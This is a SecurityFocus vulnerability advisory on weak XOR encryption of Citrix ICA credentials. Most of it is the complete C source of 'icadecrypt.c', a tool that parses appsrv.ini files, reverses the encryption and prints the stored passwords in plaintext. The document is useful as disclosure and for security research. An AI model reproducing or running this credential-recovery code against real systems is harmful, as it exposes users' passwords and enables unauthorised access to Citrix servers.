source: http://www.securityfocus.com/bid/1077/info

The ICA protocol uses a simple XOR-based encryption algorthm to protect user credentials while stored or in transit. This encryption can be easily broken, meaning that anyone sniffing the connection can obtain user access to the server.

The ICA protocol, developed by Citrix, is used in Citrix server products such as WinFrame and MetaFrame and possibly others, and in Citrix and third party clients for those products. 

/*
  icadecrypt.c

  Decrypt stored Citrix ICA passwords (in appsrv.ini).

  Dug Song <dugsong@monkey.org>
*/

#include <sys/types.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

int
hex_decode(char *src, u_char *dst, int outsize)
{
  char *p, *pe;
  u_char *q, *qe, ch, cl;
  
  pe = src + strlen(src);
  qe = dst + outsize;

  for (p = src, q = dst; p < pe && q < qe && isxdigit((int)*p); p += 2) {
    ch = tolower(p[0]);
    cl = tolower(p[1]);
    
    if ((ch >= '0') && (ch <= '9')) ch -= '0';
    else if ((ch >= 'a') && (ch <= 'f')) ch -= 'a' - 10;
    else return (-1);
    
    if ((cl >= '0') && (cl <= '9')) cl -= '0';
    else if ((cl >= 'a') && (cl <= 'f')) cl -= 'a' - 10;
    else return (-1);
    
    *q++ = (ch << 4) | cl;
  }
  return (q - dst);
}

int
ica_decrypt(u_char *pass, int len)
{
  u_short i;
  u_char *p, key;

  if (len < 4)
    return (0);

  i = ntohs(*(u_short *)pass);
  
  if (i != len - 2)
    return (0);
  
  key = pass[2];
  p = pass + 3;
  
  for (i -= 2; i > 0; i--)
    p[i] = p[i - 1] ^ p[i] ^ key;

  p[0] ^= (key | 'C');
  
  i = len - 3;
  memmove(pass, pass + 3, i);
  pass[i] = '\0';
  
  return (1);
}

void
usage(void)
{
  fprintf(stderr, "Usage: icadecrypt <file>\n");
  exit(1);
}

int
main(int argc, char *argv[])
{
  FILE *f;
  u_char line[1024], pass[128];
  int len;

  if (argc != 2 || *argv[1] == '-')
    usage();

  if ((f = fopen(argv[1], "r")) == NULL) {
    perror("fopen");
    exit(1);
  }
  while (fgets(line, sizeof(line), f) != NULL) {
    if (strncmp(line, "Password=", 9) == 0) {
      len = hex_decode(line + 9, pass, sizeof(pass));
      if (ica_decrypt(pass, len))
        printf("; icadecrypt: [%s]\n", pass);
    }
    printf("%s", line);
  }
  fclose(f);

  exit(0);
}

/* 5000. */
